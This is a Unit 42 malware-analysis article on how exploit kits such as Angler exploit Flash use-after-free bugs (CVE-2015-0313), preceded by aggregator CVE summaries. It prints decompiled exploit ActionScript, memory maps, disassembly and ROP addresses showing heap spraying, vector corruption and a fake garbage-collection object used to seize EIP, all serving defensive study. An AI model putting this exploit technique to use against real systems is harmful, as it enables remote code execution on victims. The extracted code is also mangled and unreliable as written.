ZeroHour
Palo Alto Unit 42published ()ingested Tao Yan

The Latest Flash UAF Vulnerabilities in Exploit Kits

Vulnerabilities mentionedAll →

CVEVulnerabilityCVSSEPSSFlagsAffectedExposurePublished
CVE-2015-0311
Use-After-Free Remote Code Execution in Adobe Flash Player

CVE-2015-0311 is a use-after-free memory corruption flaw in Adobe Flash Player that Adobe patched in an emergency January 2015 release (APSB15-02); CISA catalogs it generically as an unspecified remote code execution vulnerability. It is triggered when a victim's Flash plugin processes maliciously crafted SWF content, typically embedded in a web page or delivered via malvertising and exploit kits such as Angler, and requires no authentication. A successful attacker gains arbitrary code execution in the context of the logged-in user, enabling malware installation; contemporaneous 2015 reporting tied Flash 0-day malvertising campaigns (e.g., Fessleak) to ransomware such as TeslaCrypt. Anyone running an affected Flash Player version in a browser or standalone install was exposed, but Flash Player has been end-of-life since the end of 2020, so the exposed population today consists of legacy, unmaintained systems. Exploitation is confirmed in the wild: the flaw was added to CISA's KEV on 2022-04-13 and carries an EPSS of 85.8% (100th percentile), although no public proof-of-concept is tracked.

Do: Upgrade to the patched release from Adobe's January 2015 advisory — 16.0.0.296 (with 13.0.0.262 for the extended-support 13.x branch) — or, preferably, remove Flash entirely since it reached end-of-life on December 31, 2020; CISA's required action is to disconnect or retire any systems still running it. Check browsers, embedded devices, and internal applications for residual Flash plugins, and disable Flash or block SWF content as a mitigation where the plugin cannot be removed.

86% KEV
  • Adobe Flash Player
mass≈1 billion+ installs at the time of disclosure (near-universal desktop browser plugin); now limited to unmaintained EOL systems
CVE-2015-0313
Use-After-Free Remote Code Execution in Adobe Flash Player

CVE-2015-0313 is a use-after-free (CWE-416) flaw in Adobe Flash Player that allows remote attackers to execute arbitrary code. It is triggered when the Flash browser plugin processes specially crafted Flash/SWF content, commonly delivered through a malicious or malvertising-loaded web page or exploit kit, causing the plugin to reference freed memory. A successful attack yields code execution in the context of the logged-in user, which related 2015 coverage links to exploit kit (e.g., RIG) and malvertising campaigns delivering ransomware. Anyone running a then-current Adobe Flash Player in a browser was affected; the source data does not specify exact version ranges. The flaw is in CISA's Known Exploited Vulnerabilities catalog (added 2022-04-13), has an EPSS exploitation probability of 95.3% (100th percentile), and should be treated as actively exploited in the wild.

Do: Apply Adobe's January 2015 emergency security bulletin (APSB15-04), which addressed this flaw, if any system must still run Flash; otherwise upgrade to the latest available patched release. Because Flash is end-of-life, CISA's required action is to disconnect or fully remove/uninstall Flash wherever it is still in use. Audit browsers, legacy web applications, and any software that renders SWF content, and review endpoint logs for exploit kit or malvertising-driven infections.

95% KEV
  • Adobe Flash Player
mass~hundreds of millions of installations at the time of disclosure (Flash was near-ubiquitous in browsers); only a small legacy footprint remains today
Full article3,449 words · extracted from unit42.paloaltonetworks.com · click to collapse

Introduction

Recently, several popular exploit kits, including Angler, Flash EK, SweetOrange, Fiesta andNeutrino[1], have included several use-after-free (UAF) vulnerabilities in Adobe Flash to exploit victims’ browsers. Previously, these exploit kits typically used out-of-bounds access (OBA) vulnerabilities in Adobe Flash, as these types of vulnerabilities can be exploited universally and stably [2], and require less effort to exploit compared to UAF vulnerabilities. In order to detect these newly added UAF vulnerabilities, we analyzed the code found in the exploit kits to determine which vulnerabilities are present and how they are exploited.

Obfuscation in exploit kits

To determine the vulnerabilities within each exploit kit, we first had to overcoming the various obfuscation methods present in the JavaScript. Each exploit kit employs a different set of obfuscation methods, as seen in Figures 1, 2 and 3; however, the main JavaScript obfuscation methods seen in these kits are JavaScript function hooks, variable substitution and no operation (NOP) insertion. The most common obfuscation method seen in these exploits scripts is variable substitution, in which the JavaScript will use regex, math, concat, split, replace and other functions to manipulate and construct values that the script assigns to variables. The analysis of the exploit kits and details on the obfuscation methods used by specific exploit kits are beyond the scope of this report.

Figure 1. Angler's JavaScript Obfuscation

Figure 2. SweetOrange's JavaScript Obfuscation

Figure 3. Fiesta's JavaScript Obfuscation

The exploit kits also use obfuscation methods within the ActionScript code inside the Flash SWF files loaded by the malicious JavaScript. Similar to the exploit kit’s JavaScript, the obfuscation methods found in the ActionScript also include variable substitution and NOP insertion, which requires deobfuscation and increases the effort required to decompile and analyze the ActionScript. Further obfuscation methods used in the SWF files, which is almost universal amongst the different exploit kits, involves packing the SWF in several layers by using the “Loader::loadbytes()” function. As shown in the Figures 4 and 5, the layers of obfuscation just add complexity and increase the level effort required to analyze the vulnerability, as the most internal layer is always the exploit layer.

Figure 4. Angler's SWF Obfuscation, Layer 1

Figure 5. Angler's SWF Obfuscation, Layer 2

Vulnerability analysis

Once the JavaScript and ActionScript are deobfuscated, we can locate the specific vulnerabilities and determine how they are exploited. The use-after-free vulnerabilities involved in these popular exploit kits are CVE-2015-0311, CVE-2015-0313 and CVE-2015-0359, which we discuss elsewhere in this report. We found that these three CVEs discuss vulnerabilities in the same ApplicationDomain class. Every ActionScript class has an application domain, usually held by LoaderContext, to define its security context, especially when loading an external SWF by using Loader::load() or Loader::loadbytes(). Figure 6 shows the ApplicationDomain definition in Adobe’s documentation.

Figure 6. Adobe's definition of ApplicationDomain

The ApplicationDomain class has a property, domainMemory, which can be set to a ByteArray Object. The domainMemory ByteArray Object can be shared by other threads or used by other methods or classes. The use-after-free vulnerability arises because the ApplicationDomain relies on notifications to synchronize objects, whereas the other thread or class/method does not send a message when they free the ByteArray. The ByteArray that was free is still referenced by the ApplicationDomain because it was not notified that the ByteArray was freed. For instance, ByteArray::compress and ByteArray::decompress do not notify the ApplicationDomain when they free a ByteArray due to an IOError, or when a worker thread does not notify the main thread when it frees a ByteArray, which both cause the use-after-free situation.

During our analysis, we found that the Angler exploit kit not only forgot to obfuscate its exploit layer within the ActionScript found within the malicious SWF file, but also used helpful variable and function names that made it very easy to understand. Due to its straightforward nature, we will use Angler’s SWF as an example to show a step-by-step process to describe how it exploits the CVE-2015-0313 vulnerability.

In the first stage, the ActionScript performs heap layout work, sets a byteArray buffer named “attacking_buffer” to “ApplicationDomain.currentDomain.domainMemory”, and sends a message to trigger the worker thread. Figure 7 shows the ActionScript within Angler’s malicious SWF file.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

privatefunctionexploit_primordial_start(param1:String):Boolean

{

if(!this.check_environment())

{

returnfalse;

}

var_loc2_:String=this.DecryptX86URL(param1);

this.shellcodes=newShellcodes(_loc2_,this.xkey.toString());

this.prepare_attack();

this.make_spray_by_buffers_no_holes();

ApplicationDomain.currentDomain.domainMemory=this.attacking_buffer;

this.main_to_worker.send(this.message_hello);

returntrue;

}

Figure 7. Angler's ActionScript that Assigns a Buffer to domainMemory to Begin the Exploitation Process

The following displays the memory map for the pertinent objects after the first stage, specifically showing domainMemory and ByteArray having a pointer (yellow) to the ByteArrayData buffer (actually the ByteArrayData was set to domainMemory):

ApplicationDomain
05591c60 10bb6558 80025f01 05555f98 03e831f0
05591c70 03ea5040 039f3080 03b672b8 03b661e8
+0x00: vtable of ApplicationDomain
+0x10: pointer to domainMemory

domainMemory
03ea5040 10c99fc8 03b4c190 0577f6d0 039f3080
03ea5050 03ea6020 05069000 00002000 03a36ea0
03ea5060 00000003 03ea5040 039f1070 039f1040
03ea5070 00000000 00000000
+0x00: vtable of domainMemory
+0x14: pointer to ByteArrayData

ByteArray
03a4f578 10c890a8 00000002 05069000 00002000
03a4f588 00002000 00000000
0x00: vtable of ByteArray
0x08: pointer to ByteArrayData

ByteArrayData
05069000 33333333 33333333 33333333 33333333
05069010 33333333 33333333 33333333 33333333
05069020 33333333 33333333 33333333 33333333
05069030 33333333 33333333 33333333 33333333
05069040 33333333 33333333 33333333 33333333
05069050 33333333 33333333 33333333 33333333

In the second stage, the worker thread receives the message and clears the “attacking_buffer” ByteArray assigned to “ApplicationDomain.currentDomain.domainMemory” in the first phase. However, the script does not notify the ApplicationDomain that the “attacking_buffer” was cleared, which causes “ApplicationDomain.currentDomain.domainMemory” to retain a pointer to the ByteArrayData. The lack of notification in the event of clearing the ByteArray causes the UAF vulnerability. Figure 8 shows the ActionScript within Angler’s malicious SWF file that clears the buffer without notifying the ApplicationDomain.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

protectedfunctionon_main_to_worker(param1:Event):void

{

var_loc3_:uint=0;

var_loc4_:ByteArray=null;

var_loc5_:ByteArray=null;

var_loc2_:*=this.main_to_worker.receive();

if(_loc2_==this.message_hello)

{

_loc3_=this.page_size;

_loc4_=newByteArray();

_loc4_.length=_loc3_;

_loc5_=newByteArray();

_loc5_.length=_loc3_;

_loc5_.clear();

this.attacking_buffer.clear();

_loc4_.clear();

this.protecting_buffer.length=this.protecting_buffer_size;

this.fill_buffer(this.protecting_buffer,this.protecting_buffer_filler);

Worker.current.setSharedProperty(this.protecting_buffer_name,this.protecting_buffer);

this.worker_to_main.send(this.message_world);

}

}

 Figure 8. Angler's ActionScript that Clears the Buffer Without Notifying the ApplicationDomain

The following shows a memory map of the objects after the second stage, showing the ByteArray being cleared and the buffer of ByteArrayData being freed, but the domainMemory retaining the pointer (yellow) to the ByteArrayData buffer:

domainMemory
03ea5040 10c99fc8 03b4c190 0577f6d0 039f3080
03ea5050 03ea6020 05069000 00002000 03a36ea0
03ea5060 00000003 03ea5040 039f1070 039f1040
03ea5070 00000000 00000000
+0x00: vtable of domainMemory
+0x14: pointer to ByteArrayData

ByteArray
03a4f578 10c890a8 00000001 00000000 00000000
03a4f588 00000000 00000000

ByteArrayData
05069000 00000000 00000000 00000000 00000000

Exploit Analysis

After triggering the UAF vulnerability, the third stage begins the exploitation process. This is a rather special and unique UAF vulnerability, as the ByteArray object can be any size, which allows exploiters to create and free an arbitrary sized heap block, fill it with an arbitrary sized object (the simplest method is filling the freed heap block with the vector object), and modify the arbitrary offset of this freed buffer to an arbitrary value. he freed buffer is still considered a ByteArray buffer of domainMemory, allowing the exploiter to read and write directly to the ByteArray buffer using alchemy opcodes. For example, the alchemy opcodes ‘op_li32’ and ‘op_si32’ can read and write 32-bits memory of the ByteArray buffer of domainMemory.

The exploitation process continues by taking over the freed ByteArrayData heap block and replacing it with a vector of the same size. Angler’s exploit code, seen in Figure 9, takes over the ByteArrayData buffer in the function “make_filling_by_uints” and changes the vector length to a very large size by using the alchemy opcodes ‘op_si32’ in the function “magic_write_uint”.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

privatefunctiontake_over_buffer():Boolean

{

var_loc1_:uint=this.magic_read_uint(0);

if(_loc1_!=this.protecting_buffer_filler)

{

returnfalse;

}

this.make_spray_by_buffers_make_holes();

this.make_filling_by_uints();

_loc1_=this.magic_read_uint(0);

if(_loc1_==this.protecting_buffer_filler)

{

returnfalse;

}

returntrue;

}

privatefunctionattack():Boolean

{

var_loc1_:uint=0;

var_loc2_:uint=0;

var_loc3_:uint=this.byte_array_size;

while(_loc2_<_loc3_)

{

_loc1_=this.magic_read_uint(_loc2_);

if(_loc1_==this.vector_elements)

{

_loc1_=this.magic_read_uint(_loc2_+(this.x86_url_checked<<3));

if(_loc1_==this.vector_signature_0)

{//unchained_elements = 1073741824 = 0x40000000

this.magic_write_uint(_loc2_,this.unchained_elements);

returntrue;

}

}

_loc2_=_loc2_+(this.x86_url_checked<<2);

}

returnfalse;

}

 Figure 9. Angler's Exploit Code Taking Over ByteArrayData Buffer and Changing its Size

Figure 10 is a memory map of relevant objects after the third stage. The freed ByteArrayData buffer starting at 0x05069000 (yellow) has been taken over by the VectorData buffer that starts at 0x05069020 (green) and has a size of 0x72. The memory map also shows that the length of VectorData has been set to 0x40000000 (red).

domainMemory
03ea5040 10c99fc8 03b4c190 0577f6d0 039f3080
03ea5050 03ea6020 05069000 00002000 03a36ea0
03ea5060 00000003 03ea5040 039f1070 039f1040
03ea5070 00000000 00000000
+0x00: vtable of domainMemory
+0x14: pointer to ByteArrayData

Vector<uint>
05661538 10c99918 00000003 0555c1f0 03a44d78
05661548 0555f150 00000000 05069020 00000000
05661558 00000000 00000000
0x00: vtable of Vector<uint>
0x18: VectorData

Overlapped ByteArrayData[freed, +0x00 begin] and VectorData[taken over, +0x20 begin]
05069000 00000000 00000000 0506a000 05066000
05069010 01f80008 00000000 00000000 10f69b44
05069020 40000000 0506bc00 feedbabe 00001590
05069030 babeface 00000000 00000000 00000000
05069040 00000000 00000000 00000000 00000000

050691e0 00000000 00000000 00000000 00000000
050691f0 bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
05069200 bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
05069210 bbbbbbbb bbbbbbbb 00000072 03b3b000
05069220 feedbabe 00001591 babeface 00000000
05069230 00000000 00000000 00000000 00000000

05069020+0x00: vector length modified to 0x40000000 by alchemy opcode of domainMemory
05069020+0x04: GC_object<***important***>
05069020+0x08: vector[0]
05069218+0x00: length of the next adjacent vector

Figure 10. Memory Map Showing the ByteArrayData Buffer Taken Over by Vector Buffer

The last stage starts by finding the vector with the size of 0x40000000 by comparing the original length to current length. Figure 11 shows a function named ‘find_unchained_vector’ within the ActionScript that locates the vector, specifically seen in red text. The ActionScript will use this vector to scan memory to find ROP chain, construct and write ROP chain and shellcode (obtained from flashvars) to the VectorData buffer, which is a fairly conventional process. The interesting part of the exploitation process involves the use of the garbage collection (GC) to control the instruction pointer (EIP) instead of the typical usage of a sound or file reference object to control EIP[2]. The exploit code uses the garbage collection (GC) to control EIP by faking a GC_object at offset 0x04 of the VectorData buffer and will overwrite it to the controlled fake_GC_object, which is carried out by a function named “take_over_32” in Figure 11. According to the memory map in Figure 10, the first element of vector is offset 0x08 (vector[0]), but the ActionScript overwrites the offset 0x04 instead, which is interesting and required additional analysis.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

privatefunctionfind_unchained_vector():Boolean

{

var_loc1_:Vector.<uint>=null;

var_loc2_:*=0;

while(_loc2_<this.vectors_count)

{

_loc1_=this.vectors[_loc2_]asVector.<uint>;

if(!(_loc1_.length==this.vector_elements)&& !(_loc1_.length == this.vector_elements * 2))

            {

               this.unchained_vector_index = _loc2_;

this.unchained_vector=_loc1_;

returntrue;

}

_loc2_++;

}

returnfalse;

}

privatefunctiontake_over_32():Boolean

{//unchained_elements = 1073741824 = 0x40000000

var_loc1_:uint=this.unchained_elements-1;

this.unchained_vector[_loc1_]=this.fake_object_address;

this.unchained_vector.length=this.vector_elements *2;

this.restore_vector_32();

returntrue;

}

 Figure 11. Angler's ActionScript Code to Find and Take Over the Vector

From within the ActionScript, we can see it specifically set vector[3fffffff] to fake_gc_object, which Flash will calculate the offset like this in the following manner:

Vector[index] -> [VectorData+index*4+8]
When index = 3fffffff
[VectorData+0x3fffffff*4+8] = [VectorData+0xfffffffc+8] = [VectorData+0x04]

Based on the calculation above, it is obvious that the ActionScript uses an integer overflow to set vector+0x04 offset. After setting the vector+0x04 to the fake_gc_object, it resets the vector length (unchained_vector.length) to release the old vector and triggers garbage collection (GC) to collect this vector. When the garbage collector collects the vector it uses the fake_gc_object, gets an unknown object from this fake_gc_object and peforms a vtable call on this unknown object.

Figure 12 shows the trace route of the garbage collector and the memory map in the last stage to show the process in which exploiters use to control the instruction pointer to execute code. This will not show the entire process of the garbage collector, instead it begins from finding the vector to be collected and ends with the vtable call on the unknown object that provides exploiters control over the EIP.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

1.Find vector tobe collected,eax isthe vector tobe collected,andebp isthe fake_gc_object,here it isoverwritten to0x05113c00.

.text:10664E6Dmov     ebp,[eax+4];eax=vector,0x05111020

.text:10664E70mov[esp+24h+var_8],ebp;ebp=0x05113c00

.text:10664E74mov[esp+24h+arg_0],ebx

.text:10664E78cmp     ebx,esi

.text:10664E7Ajbe     shortloc_10664E82

.text:10664E7Cmov[esp+24h+arg_0],esi

.text:10664E80mov     ebx,esi

.text:10664FFFloc_10664FFF:

.text:10664FFFpush1;int

.text:10665001push    eax;int

.text:10665002mov     ecx,ebp;int;ecx=0x05113c00

.text:10665004call    sub_105F0930

2.The sub_105F0930 functionsends the fake_gc_object of vector[0x05113c00]tosub_105F07F0

.text:105F093Emov     esi,ecx

.text:105F0940jge     shortloc_105F0949

.text:105F0942add[esi+eax*4+1DCh],ebx

.text:105F095Cmov     ecx,esi;int;ecx=0x05113c00

.text:105F095Ecall    sub_105F07F0

...

3.The sub_105F07F0 functiondoes the collection work andsends fake_gc_object tosub_105F06F0

.text:105F07F0sub     esp,20h

.text:105F07F3push    esi

.text:105F07F4mov     esi,ecx;esi=0x05113c00

.text:105F07F6cmp     byteptr[esi+5],0

.text:105F07FAjnz     loc_105F08A2

.text:105F0800mov     eax,[esi+1E4h]

.text:105F0806push0

.text:105F0808push    offset a_gc_collection;".gc.CollectionWork"

.text:105F0861loc_105F0861:

.text:105F0861push1;char

.text:105F0863push1;int

.text:105F0865mov     ecx,esi;int;ecx=0x05113c00

.text:105F0867call    sub_105F06F0

4.The sub_105F06F0 functiongets an unknown_object from fake_gc_object andsends it tosub_100436E0

.text:105F06F0sub     esp,20h

.text:105F06F3push    esi

.text:105F06F4mov     esi,ecx;esi=fake_gc_object=0x05113c00

.text:105F06F6cmp     byteptr[esi+5],0

.text:105F06FAjnz     loc_105F0781

.text:105F0700cmp     dword ptr[esi+2B0h],0

.text:105F0707jnz     shortloc_105F0781

.text:105F0709cmp     byteptr[esi+2AAh],0

.text:105F0710jnz     shortloc_105F0781

.text:105F0712cmp     byteptr[esi+7B8h],0

.text:105F0719jnz     shortloc_105F0781

.text:105F071Bmov    eax,[esi+1E4h];eax=0x05113d80

.text:105F0721push    edi

.text:105F0722push0

.text:105F0724push    offset a_gc_collect;".gc.Collect"

.text:105F0729push    eax;eax=unknown_object=0x05113d80

.text:105F072Alea     ecx,[esp+34h+var_20]

.text:105F072Ecall    sub_100436E0

5.The sub_100436E0 functionisawrapper function,asit does nothing more than push the1stargument andcalls the sub_1004295C function

.text:100436E0push    esi

.text:100436E1push[esp+4+arg_8]

.text:100436E5mov     esi,ecx

.text:100436E7push[esp+8+arg_4]

.text:100436EBmov     dword ptr[esi],offset off_10B5BEEC

.text:100436F1push[esp+0Ch+arg_0];1stargument isunknown_object

.text:100436F5call    sub_1004295C

6.The sub_1004295C functionperformsavtable call of unknown_object andstack pivot exec at last.

.text:1004295Cmov     eax,[esp+arg_4]

.text:10042960push    esi

.text:10042961mov     esi,ecx

.text:10042963mov     ecx,[esp+4+arg_0];ecx=unknown_object

.text:10042967mov[esi+0Ch],eax

.text:1004296Amov     al,[esp+4+arg_8]

.text:1004296Emov[esi+18h],ecx

.text:10042971mov[esi+8],al

.text:10042974test    ecx,ecx

.text:10042976jz      shortloc_1004298B

.text:10042978cmp     byteptr[ecx+4],0

.text:1004297Cjz      shortloc_1004298B

.text:1004297Emov     eax,[ecx];eax isvtable=0x05114000

.text:10042980call    dword ptr[eax+4];jump0x1015b6be

0:008>u1015b6be

Flash32_15_0_0_246+0x15b6be:

1015b6be8b01mov     eax,dword ptr[ecx]

1015b6c051push    ecx

1015b6c1ff5008          call    dword ptr[eax+8]

Thisisthe first ROP address

0:008>u10020740

Flash32_15_0_0_246+0x20740:

1002074094xchg    eax,esp

10020741c3              ret

the vectorData buffer

0511100000000000000000000511200003c62000

0511101001f80008000000000000000010f69b44

051110204000000005113c00feedbabe000014d0

05111030babeface000000000000000000000000

051110400000000000000000000000000000000

The memory used ingarbage collector above,05113c00isthe fake_gc_object

0:008>dc05113c00+1e4

05113de405113d80cccccccc cccccccc cccccccc.=..............

Unknown_object

05113d800511400000000001cccccccc cccccccc

Fake vtable of Unknown_object,1015b6beisthe1stexecuted address,10020740isthe2ndexecuted address,etc

051140001000b5d21015b6be100207401019cc26

051140101028297c10064fc57c809ae105114030

0511402005114000000020000000100000000040

05114030002ce860c661000089000447c031fcf4

 Figure 12. Trace of Garbage Collector and Associated Memory Map

The use of the garbage collector is a novel method to control EIP, which differs from the previous techniques using sound or file reference objects. It is universal, stable and does not require other objects, as attackers can use the one vector for all the steps required to execute code, including scanning for and finding the ROP chain, overwriting the ROP chain, and control and trigger EIP. This is good news for cybercriminals, as it makes exploit development easier.

Summary

The technique of faking a garbage collection object to control EIP has never been seen before and is worth to paying attention to in future exploits. Due to certain features in Adobe Flash, specifically the ability for alchemy opcodes (such as op_li32/op_si32) to directly access memory within a ByteArray, use-after-free vulnerabilities are just as easy to exploit as out-of-bounds vulnerabilities. It appears that the authors of exploit kits agree with this, as they continue to add new Flash UAF vulnerabilities to their arsenal. As such, we can anticipate Flash vulnerabilities will continue to be exploited by exploit kits well into the future. Security researchers should not only spend time hunting and reporting more bugs to vendors, but also focus on exploit detection before html5 completely replaces flash altogether.

[1]. http://malware.dontneedcoffee.com/

[2]. https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/zerodayresearch/smashing_the_heap_with_vector_Li.pdf

[3]. http://www.freebuf.com/news/special/61942.html

Text extracted automatically; images, tables and formatting may be missing. Original: https://unit42.paloaltonetworks.com/the-latest-flash-uaf-vulnerabilities-in-exploit-kits/